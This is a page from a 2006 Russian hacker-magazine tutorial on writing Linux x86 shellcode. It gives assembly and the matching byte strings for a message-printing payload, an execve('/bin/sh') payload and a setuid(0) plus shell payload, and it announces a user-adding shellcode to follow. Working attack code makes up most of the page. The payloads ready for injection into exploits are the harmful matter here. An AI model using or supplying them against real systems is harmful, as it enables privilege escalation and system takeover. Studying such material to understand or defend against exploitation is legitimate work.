Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #87, МАРТ 2006 г.

Черная магия для начинающих

0xbeerdrinkz & l1s

Хакер, номер #087, стр. 087-148-4


При обждампе получается такой шелл-код:

"\x99\x52\x58\x50\x5b"

"\x68\x20\x4d\x65\x21"

"\x68\x64\x20\x42\x79"

"\x68\x30\x77\x6e\x65"

"\x89\xe1\xfe\xc3"

"\xb0\x04\xb2\x0d"

"\xcd\x80\x31\xc0"

"\xfe\xc0\xcd\x80"

36 байт... Это относительно немного для шелл-кода. Тот же код можно переписать по-другому, отличающимся способом хранения данных (не всегда удобно строку в стек загонять):

jmp short dat

main:

pop ecx

cdq

push edx

pop eax

push eax

pop ebx

inc bl

mov al,4

mov dl,13

int 80h

xor eax,eax

inc al

int 80h

dat:

call main

db '0wned By Me!',0xa

В первой строке прыгаем в область под меткой dat, из нее вызываем метку main. Таким образом, у нас в стеке сохраняется адрес нашей строки (ведь инструкция call кладет в стек адрес следующей за ней инструкции). Из главной функции снимаем значение со стека и кладем, как второй параметр вызова write. Далее идет уже описанный мною код. Выходит такой код (4 байта больше за счет вызовов jmp и call):

"\xeb\x14\x59\x99\x52\x58\x50\x5b"

"\xfe\xc3\xb0\x04\xb2\x0d"

"\xcd\x80\x31\xc0\xfe\xc0"

"\xcd\x80\xe8\xe7\xff\xff\xff"

"\x30\x77\x6e\x65\x64\x20\x42\x79"

"\x20\x4d\x65\x21\x0a"

Теперь, когда ты уже умеешь писать что-то типа 0wned By Me!, пора переходить к наиболее частому и практичному применению шелл-кода.

[делаем execve]

Для того чтобы запустить определенную программу, в никсах служит функция execve, в EAX для ее вызова надо класть 11 или 0xb. У execve три параметра: указатель на имя вызываемой программы, указатель на имя вызываемой программы и аргументы, указатель на env (на env, пожалуй, забьем).

Ну что ж, приступим!

cdq

push edx

pop eax

push eax

push 'n/sh'

push '//bi'

mov ebx,esp

push eax

push ebx

mov ecx,esp

mov al,0xb

int 80h

В этом коде мы сначала обнуляем регистры EDX и EAX, затем кладем в стек имя вызываемой нами программы и ноль как завершающий символ. Потом мы снимаем со стека значение и кладем как первый параметр. Следующим этапом мы кладем в стек второй параметр и ноль, то есть получаем как бы своеобразный массив, и запихиваем все это дело в ECX (второй параметр). И кладем номер системного вызова в AL и делаем вызов.

Этот несложный ассемблерный код превращается в такой шелл-код:

"\x99\x52\x58\x50"

"\x68\x6e\x2f\x73\x68"

"\x68\x2f\x2f\x62\x69"

"\x89\xe3\x50\x53\x89"

"\xe1\xb0\x0b\xcd\x80"

Байт-код достаточно короткий - 24 байта. Это вполне приемлемо для шелл-кода.

Он не требует вызова exit, так как во время выполнения кода управление передается на /bin/sh. Для того чтобы шелл-код был по-настоящему эффективным, к нему надо приплюсовать setuid(). Setuid - системный вызов, который устанавливает уид текущего пользователя на уид переданный в параметре вызова:

xor eax,eax

xor ebx,ebx

mov al,0x17

int 80h

cdq

push eax

push 'n/sh'

push '//bi'

push esp

pop ebx

push eax

push ebx

push esp

pop ecx

mov al,0xb

int 80h

Этот код почти не отличается от предыдущего. Добавился только вызов в начале setuid.

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x99\x50"

"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"

"\x54\x5b\x50\x53\x54\x59\xb0\x0b\xcd\x80";

30 байт - это неплохо. А теперь, думаю, пора приступить к написанию самого большого нашего шелл-кода - user_add.

Назад на стр. 087-148-3  Содержание  Вперед на стр. 087-148-5